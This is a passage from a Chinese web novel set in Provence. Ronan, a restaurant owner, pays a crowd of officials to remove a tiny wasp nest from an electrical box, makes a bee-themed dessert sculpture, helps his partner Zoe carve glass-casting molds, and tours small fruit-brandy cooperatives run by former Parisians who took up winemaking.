但加把劲儿啊,30个人哪里够,不得凑到50才能开团? 冯珍白了罗南一眼: “行了吧你,就别火上浇油了!能缺了人吗?卢尔马兰人又有热闹看了!” 卡福把电箱装在了餐厅室外区域墙壁的边缘,并不算多宽敞的一个空间内。 如果不是查电表的人来计数,很难有人发现马蜂通过上面的换气隔扇进入了电表箱里。 电箱前的空间狭小,能容纳的操作人数有限。 于是在行动之前,执行怎样的计划成为了下一个争论焦点。 这非常重要,因为这将直接关乎谁去把马蜂‘请’出来。 消防员说他们不懂电,电力局的人说他们没有处理马蜂的经验,除虫公司说马蜂不该被杀死,应该让养蜂人试着把它们‘抓’起来。 养蜂人说我又没收钱,不过是来看热闹的你们不会真指望让我干活吧? “该死的,这帮人到底行不行啊?不行我去!”亨利已经抽完了第四根烟,但电箱门还没有打开。 按照这个速度发展下去,什么时候能把马蜂窝端了? 清扫矮木丛的工作已于近日结束,罗南的餐厅里聚集了一大把‘胆大心细’的农夫,这些人在顺利完成国家森林局的艰巨任务后,觉得没有他们完成不了的事。 马蜂窝算个屁! 恐龙来了我们都能给你干了! 特奥在人群后面叼着烟问罗南: “你请这帮废物来花了多少钱?” 罗南叹气: “给消防队支付了50法郎,除虫公司300法郎,养蜂人没收钱但给了他两瓶酒只有电力局的人没收钱。” 马蜂窝并没有直接造成人身安全危害,被定义为非‘紧急请求’,所以需要给消防队支付费用。 没错,在法国消防员出动并不全是免费,要区分‘紧急请求’和‘非紧急请求’。 除虫公司是私人性质,更要给钱了。 养蜂人是卢尔马兰的村民,那人并不想在寒冷的冬天进行户外工作,尤其是和马蜂打交道,罗南给他送了两瓶好酒他才肯离开那温暖的毯子。 不过罗南也能理解他的为难。 进入1月后气温明显低了许多,来看热闹的村民都少了,如果放在夏天,后院估计都不够装的,可能还会有人去对面的卢尔马兰城堡看这边。 特奥气愤的对着那帮人嚷嚷: “除了电力局,你们几个都给我过去!动动嘴就想糊弄过去,当我们眼睛是瞎的吗?” 法国居民对一切职能部门都很‘友善’。 不限于卫生局、消防局还是什么狗屁警官,没人会指责一个居民对他们大呼小叫,这是普罗旺斯居民一贯的习惯。 这个世界上除了坏天气带来的影响,其他一切不好事情的发生全部是**政府各机关造成的! 你别说,特奥这么一骂.除蜂计划很快定下来了。 “还是杀掉吧,一整个转移出去太危险。”消防队制定了行动主旨。 杀虫公司的人依然不想接受这个方案,看着电力局的人做最后的努力: “但我们的杀虫剂可能会对金属部件造成侵蚀,这难道就不危险吗?” 电力局的人把自己包裹的像是一个木乃伊: “我不管你们是杀死还是挪出去,清理干净我们才能判断电路的情况,怎么都行,我没有意见。” 蜂农不耐烦的掏出一个酒壶: “我说你们能不能快一点啊,磨磨唧唧的冷死人了。” 最终的执行人由消防队和杀虫公司共同担任。 由于环境特殊,他们换上了绝缘防护装备,看起来像是要去外太空的飞行员。 三个人谨慎的走到电箱,动作谨小慎微的似乎要对付某种外星生物一样危险。 后排围观的人紧张的屏住呼吸,等待飞扑而出的马蜂被化学试剂剿杀的刺激场面出现,这种人与自然的对抗实在太让人亢奋了。 但电箱门缓缓打开,露出的只有一个杯子大的‘小蜂窝’,马蜂也只有零零散散的几个。 看热闹的人不满意了.什么鬼啊,不是说要把电箱都填满了吗?! 来干活的人可太满意了!! “是不是没有损坏到设备?电力局的人过来看看。” “哎呀我不看我不看,清理干净了我再看。” “这么小完全可以挪出去,不要喷杀虫剂了,蜂农蜂农!” “我干!!” 最终罗南花钱请来的30多人专业队伍全部是来看戏的,穿着防护服的蜂农用透气布罩把小蜂窝裹了起来,就这样把事情解决了。 看着透气罩里包裹的那几只马蜂,罗南觉得这一切太过普罗旺斯了。 夸大其词的计数员、办事拖沓的执行者、亢奋的围观群众普罗旺斯的一切关键要素全部集齐。 这简直太讽刺不过。 30多个人商量了3天.只为了对付十三只马蜂,而且他们制定的‘缜密’计划最终还被‘推翻’了。 “作何感想?”皮埃尔一脸坏笑的问罗南。 松露都没去挖,留在卢尔马兰解决马蜂窝。 结果就这? 早知道是这情况,三天前我们就给你解决了。 “作何感想?”罗南冷哼一声,“唯有用艺术发泄我的愤恨!” 钱不能白花,时间也不能白白浪费,我要利用这个灵感狠狠的创作!! 把蜂窝挪走后还有许多事情要做。 电力公司确定电路没有任何损坏后,杀虫公司用肥皂水彻底冲洗了蜂窝残留,还刮干净了蜂巢基座,之后喷洒柠檬草精油掩盖费洛蒙痕迹,防止新蜂群回归。 杀虫公司工作的同时,消防员给电箱安装起了防虫网。 见着这些人忙忙碌碌的,农夫们去餐厅里转告罗南,他的钱也不算白花。 结果发现罗南比这些人还要忙碌,连人都见不到了。 “罗南呢?”特奥问收银台后的冯珍。 冯珍指着后厨说: “去‘创作’了。” “创作?创作什么?”特奥一脸不解的问。 冯珍开心的解释: “你们前一阵子忙着去上班可能不知道罗南他现在是艺术家了,隔三差五就用甜品创作点东西,可好看了。” 冯珍从小就想让罗南做艺术家! 现在梦想终于成真了!! 特奥眼睛瞪得比驴还大: “罗南?艺术家??” 他马上把这个消息分享给了农夫们,大家的表情一个比一个夸张。 “罗南怎么去做那么高深的东西了,他不种地了?” “一说艺术家,感觉和我们的距离都拉远了,为什么要做艺术家啊。” “我讨厌一切云里雾里的东西!” 罗南今天要创作的作品灵感来源于下午的‘捕蜂’计划。 捕蜂一个完美贴合大自然的主题。 既然确定了主题,就一定绕不开蜜蜂这个东西。 在最近的甜品创作中,罗南发现了一个目前能力上的短板,那便是‘造型’只能通过其他食材元素来完成。 例如想做一朵玫瑰花造型的蛋糕,需要在蛋糕上面用奶油或者其他食材做出玫瑰花的形状,很难直接将蛋糕整体做成玫瑰花的样子。 可以做成一个整体的甜品类型例如面包和饼干又很难有大的发挥空间。 当然了,这样也可以创作出好看的甜品,但总归是不够全面。 罗南愈发觉得,他需要赶紧升级【烹饪】,看是否能开出新的能力了。 今天的创作也遇到了一些瓶颈,好不容易把‘蜜蜂’做出来,罗南又觉得现在的构图太过单调。 他知道如何将构图搭配的好看,但以现在的能力想要达到满意的地步,太费时间和精力。 “你今天怎么创作这么久啊?”冯珍忍不住过来问。 以往罗南折腾一个下午肯定把甜品做出来了,今天6、7个小时过去,餐厅都快打烊了,他还在后面不知道弄些什么。 罗南像做手术一样,认真的在一颗果干上雕刻着什么: “我在雕花。” 冯珍看了一眼,催促道: “快点出去吧,特奥他们等你好久了。” “马上了。”罗南抬起头,揉了揉发干的眼睛。 用果干和坚果‘雕花’太难了,如果可以找到其他的食材雕刻,几个小时前就该完成了。 临近打烊,但餐厅里的客人不少。 艺术家们听说罗南今天又‘创作’了,等着和他探讨艺术作品。 农夫们也不肯离开,想要弄明白一个多月不见,他们的好兄弟怎么就成艺术家了呢?这是有多想不开啊? 晚上7点45,罗南终于端着一个白色的小杯子出来。 他直接把今天的作品放到了马里尼所在的桌子上。期待的说: “看看我今天的作品。” “哇,好精美的蜜蜂.这是慕斯吗?” “那个网状的是什么,白巧克力?” “上帝,你又用果干雕花了!” 艺术家们围绕着食材和技术热烈的讨论着,雕塑大师马里尼把脸贴到那几颗果干雕的花上,认真看了几秒。 “罗南,你的手太稳了,完全可以去做微观雕塑了。” 摸着良心讲,马里尼在果干上雕不出这么精美的东西,那太小了。 罗南指着这个蜂蜜甜品笑着问他们: “能猜出来是什么主题吗?” 主题和创作背后的故事,是解读艺术语言的密钥。 法国近些年来出现的部分艺术品,因其背后的故事溢价了50倍甚至上百倍。 虽然部分艺术家提出了‘艺术的叙事依赖’理论,呼吁大家不要在创作的过程中把重心放在故事叙事上。 但当代艺术家还是会拿出一部分精力给自己的作品‘编’故事。 每当餐厅里有艺术家拿出得意的作品展示,大家便会积极发言,给作者提供好听和动人的‘故事’思路这也算是一种互相激励和帮助了。 在场的艺术家们围绕罗南的作品说了几个故事主题,大部分是讲述蜜蜂辛勤劳动的,因为一看到蜜蜂大家第一个想到的就是这个。 突然,他们身后出现了几个散发着浓郁酒气的农夫,但这些人讲‘故事’的能力比他们强大多了。 “这个作品的主题是捕蜂,外面的一层白巧克力网象征着它被抓起来了,而网外的那些花朵代表花花世界。” “它与花花世界永远的再见了!”康奈尔抢着说。 特奥一脸坏笑: “你们看,周围这个白色的东西像不像是一个电箱?这个蜜蜂是在电箱里被网子网走的!哈哈哈哈——” 马里尼在内的几个艺术家你看看我,我看看你。 卢尔马兰果然是未来的艺术之都啊,连农夫的思维都这么天马行空. 这个故事可太有意思了! 晚上。 罗南和农夫们一直喝到餐厅黑了灯,服务员全都回家。 兄弟们的兼职结束了,终于可以好好喝一顿。 皮埃尔看着桌子中间的那个蜜蜂甜品说: “这就是艺术吗?我第一次觉得艺术和我那么近,我完全可以理解你要表达的东西。” 罗南笑着给他倒酒: “佐伊说,万物皆可艺术,其实没有你们想的那么复杂。” 法比安啧啧称奇的说: “如果这就是艺术那我现在爱上它了,它看起来就很好吃啊,伙计,你要用甜品去参加那个什么艺术展览,我绝对支持你,这种雅俗共赏的东西可比那些画啊雕塑啊什么的有意思多了。” 罗南笑着看大家: “我已经决定要去参加那个自然主题的艺术活动了,就用甜品去参加,说不定以后还要请你们帮忙呢,提到大地、提到自然,没有人比咱们农夫们更懂了。” 康奈尔兴奋的坐直身体: “真的吗?我们也可以和艺术扯上关系?” 罗南平摊双手,语气坚定的说: “当然了,我还等着你们给我提供灵感呢。” 农夫们叽叽喳喳的说个不停,积极的给罗南提供所谓的‘灵感’。 特奥这个家伙喝开心了,三番两次的要抢罗南手里的蜜蜂甜品: “你们聊着,先把这个给我吧,安娜看到它会疯的!” 罗南死死的把它护在怀里: “不行,你拿走吃了我给佐伊看什么?” 这个作品罗南挺满意的,打算拿去和佐伊分享。 汇报阶段性‘成绩’的同时,也让她好好点评一下。 那可是卢尔马兰艺术家里最厉害的人呢! 第284章 去尝点新鲜玩意! 和农夫们分别,罗南拿着他的‘蜜蜂’作品去到路易家。 一进门,莉亚就小声告状: “佐伊晚上还没吃饭。” “又没吃饭?”罗南马上皱起眉头。 佐伊有一忙起来就不准时吃饭的坏毛病,不过一旦这个现象出现,说明到了创作的关键时刻,她不希望从那种状态中出来。 “一直说马上出来、马上出来,这都九点多了。”莉亚看了一眼表,把罗南推向佐伊的工作间,“你再去问问她。” 罗南欣然接受下来这个任务: “我去把她叫出来。” 莉亚依然用告状的语气说: “你必须管管她,这样下去身体会坏的,劳逸结合才能保持最好的状态。” 罗南推门进去的时候,佐伊正在雕刻石膏模具。 认识的时间长了,罗南已非常了解佐伊的工作流程和步骤,用石膏做模具是粉烧玻璃工艺比较靠前的一个工序。 在刻石膏说明上一次的制作失败了,要一切重头再来。 如果罗南没数错的话,这已经是佐伊在短时间内的第五次‘重头再来’了。 罗南把嘴边那些‘严厉’的话通通咽了下去,现在说那些不合适,他已经可以共情到艺术家们创作失败时的糟糕心情了。 “你来了?”佐伊侧头看过来,语气并没有什么波澜。 罗南站到佐伊的身后,给她按摩两个肩膀: “先出来把饭吃了?” 佐伊的手上加快了几分: “我马上就做完了,做完我就出去吃饭。” 罗南没有强迫她,只是关心的问: “进展还顺利吗?” 佐伊低着头,罗南看不到她的表情: “遇到了一点技术难题,不过问题应该不大。” 罗南尽量让自己的语气轻松和平和: “有的时候闷头做不一定能解决困难,还记得你给我的建议吗?遇到难题可以和你说出来。” 佐伊的肩膀抖动了两下,把刻刀和小吹气桶放下,带着笑意说: “不用担心我,你晚上吃饭了吗?和我一起再吃点?” 佐伊的心态和几个月前完全不一样了。 给图拉姆先生做美人鱼时,佐伊的情绪几经崩溃,状态暴躁的不得了。 但现在,罗南敢肯定她遇到了很大的‘难题’,可她表现出来的不过只有因为工作繁忙不能准时吃饭这一点,在情绪上看不出任何问题。 甚至在莉亚唠叨让她不能再这样时,佐伊还能笑着打趣,说罗南在能不能给她留一点面子。 佐伊的内心越来越强大了.罗南默默感叹。 “这是你今天做的?”佐伊注意到了餐桌上的‘蜜蜂’。 罗南把它推到佐伊面前,笑着说: “是的,怎么样?” 佐伊端起来上上下下、左左右右认真看了一遍,认真点评道: “我之前就有这种感觉,现在更加肯定了你的特长是精美的造型设计能力和精细度极高的雕刻制作水平,其他艺术家在木头、贝壳和石材上雕刻,你是在甜品上雕刻,但由于所使用材料的特殊性,导致你做出来的东西会更加精美和细腻。” 佐伊放下盘子,语气兴奋的说: “千万不要忘记自己的特色,只要把特色利用好并无限放大,一定能做出不错的作品。” 罗南笑着说: “马里尼建议我参加‘大地艺术’活动的最终作品,一定要完美利用到我的雕刻能力。” 马里尼是专门做雕刻的艺术家,他都说罗南的雕刻能力出众,那便真的是厉害了。 佐伊很是认同的点头: “没错,就像我说的,千万不能忘记自己的特色——” 她突然停顿了下来,斟酌了几秒后对罗南说: “你试过在石膏上雕刻吗?” 佐伊这次参加活动的作品依然是玻璃和陶瓷两种工艺结合的产物。 而她此时遇到的难题是,她想要做一个精细度极高的玻璃造型。 玻璃器具的制作流程大体是这样的:用耐高温的石膏做出器具的模型,之后在模具上填入玻璃粉,然后放到窑炉里烧制,烧好后把石膏敲掉,成品就出来了。 这个过程中,如果把石膏模具的花纹雕的太细太浅,那个区域即使填入了玻璃粉,粉烧过后也很难着色,即使着色了一碰也可能会脱落.雕刻的太深,又失去了佐伊想要的精细感。 而玻璃粉烧工艺又必须放窑里烧出来才能看到最终的效果,她只能一次又一次‘重头再来’,找那个最满意的状态。 佐伊虽然对很多工艺都熟悉,但雕刻并不是她所擅长的,但做玻璃工艺和陶瓷工艺又都需要一点雕刻的基础。 以前做精细度没有那么高的作品,她的能力足够满足,这次参加‘大地艺术’活动,她对自己的要求全方位提高了,那么她的雕刻能力就有点跟不上了。 但佐伊突然发现——她们家罗南似乎很有雕刻天赋啊。 “你怎么不早说呢。”罗南坐在佐伊的工作台前,低头认真雕石膏,“你画半天刻出来的东西,我半个小时就能刻好,这几天我会按照不同的深度和宽度给你雕十几个模具出来,你一次性放窑里烧一炉,看看哪个状态是你想要的。” 我就说你自己闷头做不行吧!! 这次佐伊终于能坐到罗南的背后抱着他了。 她把下巴放到罗南的肩膀上,笑着说: “没想到真的让你帮上我的忙了你到底是怎么练的?为什么能刻的那么细致?” 一个花纹雕出十几种不同的深度和宽度佐伊想想就觉得罗南可怕。 罗南用闲聊的语气说: “我之前也不知道自己的手这么巧,第一次发现是做编织,巴蒂说我是天才,可能做饭做多了也有帮助吧,我刀工挺不错的你知道吧?雕刻其实就是换了一把小刀嘛,不过这不算什么,约瑟芬的手比我还巧。” 罗南说的有理有据,还搬出了另一个众所周知的天才,佐伊也没有揪着这个问题不放,只是用关心的语气问: “你帮我我雕这么多实验模具,会耽误你自己的进度吗?” 佐伊的作品已经设计出来,正在制作阶段,可罗南还在‘练习’呢。 罗南回头笑着说: “放心,我可是农夫,我周围的朋友也是农夫,我们是一群被大自然所宠爱的家伙,这个主题就是专门为我准备的,不要担心。” 佐伊点着罗南的下巴说: “可我能帮助你些什么呢?” 罗南用期待的语气问: “陪我出去散散心怎么样?我们找一个下午去几家酿酒合作社去看看?” 罗南现在要做的就是赶紧把【烹饪】升级,而佐伊是他的幸福加速器,和她在一起,做所有事情都是幸福加倍。 而且他也要着手了解这个行业了。 佐伊抱着罗南狠狠的亲了一口: “好!” 罗南帮助她攻克了最大的难题,之后无需再废寝忘食的工作了,而且在家里憋了这么久,是该出去换换心情了。 除了教皇新堡,普罗旺斯有许多著名的葡萄酒产区,它们既可以体会南法葡萄酒的魅力,又无需支付教皇新堡的高昂溢价。 距离卢尔马兰比较近的类似产区有三个。 一个是在卢尔马兰西南约三十公里的艾克斯丘产区,一个是在卢尔马兰东南五十公里的普罗旺斯丘产区。 而最后一个,也就是卢尔马兰村所在的葡萄酒产区——吕贝隆丘。 包括梅纳村、戈尔德、拉科斯特等几个著名的吕贝隆村庄组成了这个小型的葡萄酒产区。 也就是说,罗南和佐伊不用离开家太远就可以品尝那些美味佳酿。 事实上,罗南都不用为此次出行做提前做任何准备。 去梅纳村的路上,每过一段就能看到一个酿酒合作社的广告标语。 广告词简单又热情: “快来尝尝我们的美酒吧!” “如果要去酒庄品酒,那的确要去教皇新堡,但如果想要买原装佳酿,还是在酿酒合作社里买最合适。”当第一个广告牌出现时,佐伊如是说着。 “我们先去哪个?”罗南已经跃跃欲试了。 他去过的酒庄和酿酒合作社不多,无论是大酒庄,还是小型酿酒合作社都能让他学到很多东西。 “要找粉红酒的吗?”佐伊问罗南。 罗南已经向她告知了,自己有意接手斯特斯加酒庄的决定。 佐伊理所应当的理解为要去酿制粉红酒的地方学习。 罗南撇嘴道: “那是不是有点难找啊。” 在普罗旺斯,还用手工酿制技艺做粉红酒的酿酒合作社已‘凤毛麟角’,否则旅游局不会花钱找人保存这个技艺,恐怕他们在吕贝隆开个遍都找不到几个。 “那去喝别的酒?”佐伊看着罗南的侧脸问。 罗南肯定的说: “可以啊,我要学的不只是酿制工艺,什么酒都可以。” 系统里有【酿酒】技能,罗南对粉红酒的口感和品质并不是很担心。 他担心的其实是运营、规模和投入那些东西,所以去不去粉红酒庄无所谓的。 佐伊的语气突然带上了一些期待: “那咱们去喝点平时不经常喝的酒吧?” 罗南笑着说: “没问题,种类越多越好!” 喝酒曾在一段时间里是罗南获取【幸福度】非常重要的途径。 罗南这次出行的目的不是学习,还有一个刷经验。 他恨不得多喝几种才好呢。 佐伊伸出右手指了一个方向: “我们先去尝点新鲜玩意!” 第285章 扎堆逃离的新酒农 汽车在靠近村庄的主路上行驶了一阵子,后在佐伊的指引下转向一条路两侧全是葡萄园的小路。 罗南快速辨认了一下方向,判断出他们行驶的目的地已经不是梅纳村,似乎是梅纳村和博尼约村中间的某个地方。 “我们要去的是一个乡间酿酒合作社?”罗南问佐伊。 吕贝隆山区没有任何路标和指示牌,这里脱离了罗南平时的活动范围,他已经不知道要去的是哪里了。 佐伊的语气里有掩饰不住的兴奋和轻快: “这条小路通向古尔村,那里以普罗旺斯特色烈酒闻名。” “普罗旺斯烈酒?”罗南不禁一愣。 在他的生活中,能称得上烈酒的酒有两种,一种是普罗旺斯男人非常喜欢喝的茴香酒,另外一种是‘普罗旺斯窟窿’——果渣白兰地。 恰巧这两种都是罗南极少喝的,如果要去品尝烈酒,那确实属于新鲜玩意。 但普罗旺斯不是以白、红葡萄酒闻名吗? 问出所想后,佐伊给罗南解释: “普罗旺斯的确以葡萄酒闻名,但蒸馏酒的文化同样独特,忘记移动蒸馏车的故事了吗?在古尔村有许多小型酿酒合作社.他们生产的大多是烈酒,到了那里,你就能感受到普罗旺斯人对烈酒的钟情程度了。” 罗南笑着收回视线,认真开车: “普罗旺人有多爱烈酒我不清楚,但你喜欢烈酒我是清楚的。” 在佐伊被图拉姆先生的订单折磨的情绪崩溃时,工作室里常备一瓶高度白兰地。 怪不得一路上佐伊的情绪如此兴奋。 佐伊用一副‘你还太年轻’的语气说: “那是你没喝过好喝的烈酒。” 古尔村的名字罗南从村民的口中听说过,但他以为是个很小的村子,没想到规模比卢尔马兰还大,而且也是个鸟巢村。 从行车距离上看,它距离卢尔马兰的距离比去梅纳纳村和博尼约还要近。 远远的看到那个依山而建的美丽小村子,罗南不禁感慨: “这居然是我第一次来古尔村。” 佐伊用手肘撑着脑袋: “吕贝隆山区里像古尔村这样名不见经传的小村子太多了,但大家的锋芒全部被梅纳村、博尼约和戈尔德这几个明星村子所掩盖住了。” 她看着罗南说: “事实上,卢尔马兰才是众多吕贝隆山村中规模较小的那个,就像你第一次来古尔村一样,许多游客来普罗旺斯也不会选择去卢尔马兰。” 罗南叹气: “卢尔马兰还需要很长的路要走。” 佐伊骄傲的说: “你已经让更多人看到卢尔马兰了,你敢信吗,在小小的卢尔马兰居然有一条在冬季客流量极大的商业街,我听歌迪亚说,许多商人都看上了那里,甚至还有人问歌迪亚要不要转租。” 罗南谦虚的说: “不是我自己的功劳,布兰科是个志向远大的家伙,没有他独到的眼光和一次又一次的正确决定,我即使再厉害也‘翻不出’什么风浪。” 阿斯特丽德教会罗南‘借势’和‘借利’,但那也要有‘势’和‘力’可借。 如果罗南去年年初搬去了普罗旺斯其他小村庄,也许故事就是另外一个走向了。 佐伊点头,颇为认同的说: “布兰科也是借鉴了其他明星村子发迹的经验,决定要给村子转型.旅游业对吕贝隆村庄真的太重要了。” 罗南兴奋的拍了一下方向盘: “今天我们也去好好借鉴一下,看看古尔村的烈酒有没有什么可以值得学习的地方。” 还没进入鸟巢村的范围,罗南便在路边看到用塑料大桶卖酒的商人。 本着学习的态度,他把车停在路边,摇下车窗问桶里装的是什么。 那商人小跑到罗南的车旁,用相当自豪的语气说: “是自己家酿制的烧酒,要尝尝吗先生?1升只需要30法郎。” 普罗旺斯本地人口中的烧酒,一般指代蒸馏酒,而吕贝隆附近最常见的蒸馏酒是用葡萄果渣酿制的白兰地。 罗南在心里小声‘哇哦’了一声。 这价格可太亲民了。 要知道那不是餐酒,而是每次只能小酌一两杯的果渣白兰地。 不等罗南和佐伊决定,那戴着皮帽子的商人用小刀切下了一块羊奶酪,同时用塑料杯子给他们倒了一小杯酒: “它配熏肉是最好的,不过我身边没有,配奶酪也不错,尝尝吧。” 普罗旺斯人非常重视酒文化。 不同的酒一定要配不同的食物。 这种习惯即使在乡间小道上也不能被破坏掉。 罗南吃下一小口奶酪,又喝了一小口酒,眉毛马上拧成一团: “你这白兰地数挺高啊。” 那人笑哈哈的说: “经过了两次蒸馏,有55度呢。” 虽然现在是寒冷的冬季,但这人还是冒着冷风,给罗南好好吹嘘了一番这酒有多么多么的厉害,据说是祖传了三代的秘方。 佐伊小声问罗南: “怎么样?” 罗南学着西奥多尔品酒时的样子,漱了几下: “味道挺有特色的,有黑巧克力和烟熏的味道。” “伙计,你很厉害啊。”那商人压了一下帽子,“这就是我家不同于其他烧酒的特色。” “来一升吧。”佐伊替罗南做出了决定。 罗南和佐伊买的不多,但车子行驶起来后,他们同时看到了后视镜里那老板兴奋的手舞足蹈的模样。 “他很享受自己酿的酒被人喜爱的感觉。”罗南余光看着后视镜说。 他绝不是因为赚了钱而开心,罗南在他的身上看到了热爱。 佐伊收回了目光: “那是当然了,这一看就是他的爱好。” 提到这点,罗南疑惑的问: “但法律不是规定,不可以私人酿制蒸馏酒了吗?他就这么明目张胆的在路上卖?” 佐伊侧目,用开玩笑的语气问: “那你知道酒后不可以开车吗?” 罗南撇嘴: “我只喝了一点点。” 在1990年以前,法国对酒驾的‘容忍度’还是很高的。 以血液酒精浓度0.8克/升为酒精阈值,换算成烈酒大概是1.5杯-2.5杯的量。 佐伊眉眼带笑的说: “我们还没有真正进入古尔村,听说那里面的好东西更多呢。” 进入古尔村后,熟悉的酿酒合作社广告标牌又出现了。 而且看起来这里还不止一家专门做烈酒的地方。 在找寻他们的下一个学习目标途中,罗南以探讨的语气问佐伊: “古尔村里似乎有许多酿酒合作社,为什么卢尔马兰的范围里一家都没有?就连莫力都不是卢尔马兰的。” 佐伊没有仔细研究过这个问题,只是当作一个话题闲聊道: “可能因为卢尔马兰附近的葡萄园太过碎片化?许多酒庄和酿酒合作社习惯建在十几甚至几十公顷的葡萄园里,但卢尔马兰没有这么大的连片种植园,而且周边并不缺酿酒合作社,想建立一个新的品牌难以突破原先的市场。” 虽然佐伊是随便回答的,但罗南觉得她分析的很有道理。 卢尔马兰范围内的葡萄园不少,但都是一块一块的,没有谁家的面积特别大。 但为什么这么碎片化呢? 罗南觉得有必要回去仔细打听一下缘由。 而佐伊说的的第二个原因罗南也很认同。 普罗旺斯人习惯追根和溯源,尤其是他们每日离不开的葡萄酒。 在普罗旺斯想要开创一个新的酒品牌难度比在其他地域更加困难。 这样看来,接手一个有知名度的酒品牌的确是最好的解决办法。 佐伊只是听说古尔村的烈酒闻名,但她也没亲自来过,于是他们通过村民的指引,去往了一家据说是古尔村规模最大的酿酒合作社。 但抵达后,他们发现这里的规模和印象中的酿酒合作社完全不一样,它似乎更像是一所民宅,只不过是U字形的。 一只昏昏欲睡的狼狗趴在树下,对着他们的车子无精打采地吠叫了两声,随后从某个窗户后面探出来一个中年男人的脑袋。 “来买酒?” 罗南摇下车窗,不确定的问: “我们没有找错地方吧?” “没有找错,把车停在院子东侧,方便一会你们搬酒。”说完那人把窗户拉上。 一分钟后,那名中年男人从房子里出来,径直打开了U形房子东侧中间的一扇厚重的木门: “要看什么酒?” 罗南和佐伊跟着他进入了这间没有窗户的、黑暗的长方形房间。 从刺眼的室外走入黑暗,使得眼睛在短时间内什么都看不清,但罗南的鼻子闻到了一股非常不错的芳香味道: “你把酒窖设置在家里了?” 屋顶垂落的一盏昏黄灯泡突然点亮,那中年男人回去把沉重的木门关上: “正确的解释应该是,我们住在酒社里.这是一间家庭式经营的酿酒合作社。” 怪不得规模这么小罗南在心里咕哝了一句。 那中年男人利索的拿出几只造型精美的小巧玻璃杯: “想试试那种?我这里有无花果白兰地、桃和杏的白兰地还有樱桃酒。” 罗南对高度酒不是很精通,问道: “哪种卖的最好?” 那中年男人拿起一个酒体清冽的瓶子: “樱桃酒卖的最好,一年能卖800多瓶。” 罗南和佐伊互看了一眼,同时品出了对方眼睛里的震惊。 800多瓶? 这里真的是古尔村最‘大’的酿酒合作社吗? 莫里在升级到酒庄之前,每年也有几万瓶的产量啊。 那名中年男人在倒酒的同时,疑惑的打量起罗南: “你的口音.像是从巴黎来的?” 罗南小心翼翼的试探: “你的口音也像是巴黎来的?” 那中年男人笑着把两小杯酒放到小情侣面前: “没想到又碰到了‘老乡’,没错,我也是从巴黎来的新酒农。” 罗南一怔。 新酒农? 也? 巴黎人扎堆来普罗旺斯开酒庄了?? 第286章 满载而归 罗南没有着急喝酒,饶有兴趣的问: “新酒农?” 可能是见到了‘老乡’心情不错,那人也给自己倒了一杯: “你不知道吗?最近这几年很多城里人搬来普罗旺斯生活,他们之中有的是医生、有的是银行家,还有的是广告人,但现在全部投身进了普罗旺斯的酒产业。” 罗南知道有许多城里人来普罗旺斯生活,房价就是这么炒起来的,但他不知道他们扎堆进入了酒产业,好奇的问: “为什么全部投身进了酒产业呢?” 那人小小的抿了一口酒,笑着说: “在城里赚足了钱,又不准备就此退休,在普罗旺斯肯定要计划新方案、迎接新挑战,葡萄园是非常好的投资选择,而且只要运气足够好,就可以住到漂亮的老房子里,再运气好一些,酿出受到好评的酒,还能带来极大的满足感,这难道不好吗?” 罗南笑着问: “所以你来了?” 那人哈哈大笑着说: “没错,所以我来了,而且带着一家老小一起来了,虽然有的时候会被大自然这个善变的工作伙伴折磨得精神紧张、晚上睡不着觉,可是总体来说,现在的生活既健康又放松,而且非常充实,我不知道其他人有没有后悔搬来,但我和我的家人都很喜欢现在的生活状态。” 在场唯一的普罗旺斯本地人佐伊继续这个话题发表意见: “健康和放松我认同,但城里的生活更‘充实’吧?” 那人耸肩道: “如果办公室的尔虞我诈、开不完的会、给比猪还笨的同事擦屁股和应付吹毛求疵又霸道跋扈的股东也算充实的话.那确实是的,那我换个说法吧,在这里的充实比在城市的充实愉快多了。” 罗南做了一个后怕的表情,继而用关心的语气问道: “但你这里的经营情况还好吗?” 最好的一款酒一年只能卖出去800瓶,真的可以让你感觉到愉快吗? 那人乐观的说: “指望开启第二段人生的同时还能致富是很困难的,尤其酒在普罗旺斯已经是一个相当成熟的产业了,小酒庄只有微乎其微的机会能出人头地,起码在第一、二代是不可能的每年都能小赚一点已是很不错的成绩,在这里赚到的可能不是钱,更多的是美好生活。” “快尝尝吧。”那人催促罗南和佐伊,“我这里的樱桃酒真的不错,这是古尔村卖的最好的一款。” 罗南和佐伊不止品尝了樱桃酒,还品尝了这里的其他几款高度白兰地。 由于是老乡的缘故,罗南和这位老板很快熟络起来,那人主动邀请罗南去他的小型设备厂房看看。 去的路上,佐伊小声问罗南: “这也是你来普罗旺斯生活的原因吗?” 她指的是逃离大城市的‘充实’。 罗南压低声音小声说: “有一部分是吧,不过我肯定比他更加‘愉快’。” 佐伊挑眉: “为什么?” 罗南笑着回: “因为我不止赚到了美好的生活,还赚到了钱。” 佐伊捂着嘴笑道: “那么自信?” 罗南加快了脚步: “产量这么低都可以做古尔村‘最大’的酿酒合作社,说明酒的利润相当可观我要去学习一下。” 这个家庭形式酿酒合作社的设备间就在U型房对着酒窖的另外一端。 里面有一台水果破碎机、五个大号木质发酵桶、一台铜质蒸馏酒器和一套简易的手动装瓶设备。 “古尔村的酒厂都不大,通常5、6个人就可以撑起来。”那人给罗南介绍。 罗南问: “水果白兰地应该也需要种植园吧?你的果园面积有多大?” 刚刚品酒的时候,这人有简单给罗南介绍蒸馏酒的制作流程。 将水果压碎后发酵30天左右,之后经过一到两次蒸馏,这个时候的酒精含量有可能会达到65度以上。 之后经过超过6个月的罐装储存将酒精浓度降到45度左右,当然了每个酒厂的习惯不同,有的高一点,有的低一点,全看酿酒师想要制作出什么口感。 “2公顷果园,全年可以有3000瓶的产量。”那人耐心解答。 “水果白兰地每公顷的酒产量比葡萄酒低很多啊。”罗南马上计算了出来。 他8亩葡萄园(0.53公顷)的葡萄如果换成酒的话可以换一千多瓶,而莫利肯定还要留出一部分利润。 “没错。”那人点头道,“听说有一个新酒农开的红葡萄酒合作社,去年每公顷产酒量超过了3500瓶。” 罗南想要了解的就是这种小道消息! 他继续打听: “那利润呢?他的利润可观吗?” 罗南问的是其他人,而且是和白兰地没有关系的葡萄酒,对方很痛快的回答: “每一块地的种植成本不同,这个我不好乱说,但是葡萄酒的手工酿酒成本是3-7法郎,这里面包含了发酵、装瓶和储存等,现在市面上最便宜的红葡萄酒也要八九十法郎吧?你觉得利润怎么样?” “没有那么贵吧?”罗南一怔。 罗南不敢说了解普罗旺斯的全部酒品牌,毕竟那太庞大了,即使他是开餐厅的也只不过了解了冰山一角,但他对酒的价格区间非常了解。 即使买不到25法郎一瓶的红葡萄酒,40法郎的酒在吕贝隆一抓一大把怎么会最便宜的也要八九十法郎呢? 那人笑着看罗南: 